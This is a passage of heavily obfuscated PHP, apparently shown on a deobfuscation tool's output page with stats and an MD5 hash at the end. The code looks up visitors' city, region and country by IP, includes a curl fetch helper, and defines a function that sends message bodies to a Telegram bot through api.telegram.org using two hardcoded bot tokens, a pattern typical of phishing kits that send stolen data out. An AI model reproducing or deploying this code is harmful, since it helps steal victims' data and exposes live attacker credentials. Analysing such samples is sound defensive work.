${${"\107\114\x4f\x42\101\114\123"}["\x72\x75\157\x67\171\152\x65\141\164\x74\x79"]} = array("\143\151\x74\171" => $ipdat->city, "\163\164\x61\x74\145" => $ipdat->regionName, "\x63\x6f\165\156\x74\162\171" => $ipdat->country, "\x63\157\x75\156\x74\x72\x79\x5f\x63\x6f\144\x65" => $ipdat->countryCode); break; case "\x61\144\x64\x72\x65\163\x73": ${${"\107\114\x4f\x42\x41\114\x53"}["\145\157\160\x6f\146\154\153\142\x71\150\146\x7a"]} = array($ipdat->countryName); if (1 <= @strlen($ipdat->regionName)) { ${${"\x47\x4c\117\x42\x41\114\x53"}["\145\x6f\160\157\146\x6c\x6b\142\161\x68\146\x7a"]}[] = $ipdat->regionName; } if (1 <= @strlen($ipdat->city)) { ${${"\x47\x4c\117\x42\101\114\x53"}["\145\x6f\x70\157\x66\x6c\x6b\x62\x71\x68\x66\172"]}[] = $ipdat->city; } ${${"\x47\x4c\117\x42\101\x4c\123"}["\170\x72\x62\156\152\x74\x71\x67\152"]} = implode("\x2c\40", array_reverse(${${"\x47\114\117\102\101\x4c\x53"}["\166\155\150\156\x72\157\x78\x73"]})); break; case "\143\151\164\x79": ${${"\107\114\117\102\101\114\x53"}["\170\162\142\x6e\152\164\161\147\x6a"]} = $ipdat->city; break; case "\x73\164\x61\164\x65": ${${"\107\x4c\117\102\x41\x4c\123"}["\170\162\x62\x6e\152\164\x71\x67\152"]} = $ipdat->regionName; break; case "\162\x65\147\x69\x6f\156": ${$mldhceth} = $ipdat->regionName; break; case "\x63\157\x75\x6e\164\162\x79": ${${"\x47\x4c\x4f\x42\101\x4c\123"}["\x74\142\x6f\150\x74\x75\171\x63\165\165"]} = $ipdat->country; break; case "\x63\157\x75\156\x74\x72\171\x63\157\144\x65": ${${"\x47\x4c\x4f\x42\101\114\123"}["\164\x72\x6d\150\x64\x6a\144"]} = $ipdat->countryCode; break; } } return ${${"\107\114\117\102\101\114\123"}["\170\x72\142\x6e\x6a\164\x71\x67\152"]}; } return ${${"\x47\114\x4f\102\x41\114\123"}["\170\x72\142\156\152\x74\x71\x67\x6a"]}; } goto OQVwr; ue0KC: function checktok($link1) { ${"\107\114\117\x42\x41\x4c\123"}["\x75\x72\155\170\x65\142\x68\172\171\164\x64"] = "\143\165\162\x6c"; ${"\x47\114\x4f\x42\101\114\123"}["\163\146\141\164\x74\166\150"] = "\x63\165\x72\x6c"; $yxldftix = "\x6c\x69\x6e\153\61"; $jhpnmvof = "\162\145\x73\x70\x6f\156\x73\145"; $vbxketxthd = "\x63\165\162\154"; $uurhctroy = "\162\x65\x73\160\x6f\156\163\x65"; ${${"\107\x4c\x4f\x42\101\114\x53"}["\x73\x66\x61\164\x74\x76\150"]} = curl_init(); curl_setopt_array(${${"\x47\114\x4f\x42\x41\114\123"}["\x75\162\x6d\x78\x65\142\150\x7a\x79\164\x64"]}, array(CURLOPT_URL => ${$yxldftix}, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 100)); ${$jhpnmvof} = curl_exec(${${"\107\114\x4f\x42\101\114\123"}["\x6e\x6d\x78\x65\x7a\x69\156\144\x6c\x66\x62"]}); curl_close(${$vbxketxthd}); return ${$uurhctroy}; } goto s6IJL; avGxk: ${"\x47\114\x4f\102\x41\x4c\123"}["\171\150\147\170\x6a\153\x6b"] = "\157\x73\137\141\x72\162\141\x79"; goto NOkOJ; JGf2M: $whkcjwxufx = "\x61\160\x69\x6b\x65\171"; goto FymE0; KME9A: ${"\107\x4c\117\102\101\114\x53"}["\x68\x72\166\163\x66\x77\142\167"] = "\x72\145\x6d\x6f\x74\x65"; goto Hxho6; hMHbF: ${"\107\x4c\117\x42\101\x4c\x53"}["\x65\167\x79\x74\164\x75\165\x6c\161\142\x74"] = "\x62\x6f\x64\171"; goto ISuLL; Rqq2i: ${"\107\x4c\x4f\x42\101\114\123"}["\165\145\x72\x71\x73\x62\x6b\166\x6e\166"] = "\156\141\155\x65"; goto rwGR4; s6IJL: function Telerexi($chateridi, $body) { $dfquxipkh = "\164\157\153\x65\x6e"; ${$dfquxipkh} = "\x32\x30\65\63\x37\x32\60\71\x33\x31\x3a\x41\x41\107\65\x77\160\130\x64\103\x57\x58\x53\x75\x68\105\x4c\x70\x44\144\171\x37\x45\120\x48\x36\116\x4e\122\67\106\x75\x53\163\171\125"; $svtfezy = "\x72\x65\163\160\157\156\163\145"; ${${"\107\x4c\117\102\x41\114\x53"}["\x6a\x78\167\142\x77\x75\157\x6c\x72\x65\x74"]} = array("\x63\x68\x61\164\137\x69\144" => ${${"\107\x4c\x4f\102\101\x4c\123"}["\154\x6e\x72\x68\x71\167\170\147"]}, "\164\x65\x78\x74" => ${${"\x47\x4c\117\102\x41\x4c\x53"}["\x65\167\171\164\x74\165\x75\x6c\161\x62\x74"]}, "\x70\x61\162\x73\145\137\x6d\157\144\x65" => "\x68\164\155\154"); ${$svtfezy} = file_get_contents("\x68\x74\164\x70\163\72\x2f\57\141\160\151\56\x74\145\154\145\x67\x72\141\x6d\56\x6f\x72\x67\57\142\157\x74{$token}\57\163\x65\x6e\144\x4d\x65\163\x73\141\147\145\77" . http_build_query(${${"\107\x4c\x4f\x42\x41\114\123"}["\152\x78\x77\142\167\x75\x6f\154\x72\145\164"]})); } goto I3obX; jbeYk: ${"\107\114\117\102\101\x4c\x53"}["\x66\x6b\160\146\163\161\162"] = "\160\x75\x72\160\157\x73\x65"; goto eAPBS; XhWxl: ${"\107\x4c\x4f\x42\101\x4c\123"}["\x6b\170\x77\x6d\x7a\145\x6e\x77\x70\x73\143"] = "\x74\x6f\x6b\145\x6e"; goto tuMmy; Hxho6: ${"\107\x4c\x4f\x42\101\114\123"}["\147\x6c\x7a\146\170\x73\x6f\x75\x62\x68"] = "\x63\x6c\151\x65\156\164"; goto J3Izp; WzcZ5: ${${"\107\114\x4f\102\101\114\x53"}["\x6b\170\x77\x6d\x7a\x65\x6e\x77\160\x73\x63"]} = "\x35\x39\61\x38\x33\64\x39\71\65\x34\72\x41\101\107\141\63\x70\x36\106\67\121\157\167\x39\x31\114\x5a\x64\x4e\x63\172\162\x51\x57\x59\x69\x77\x34\x57\x74\61\145\124\x5a\121\101"; goto vjDRr; qK9nB: ?>

Function Calls

None

Variables

None

Stats

MD5 f3895d84233f2f90021f153cee7c80f5
Eval Count 0
Decode Time 83 ms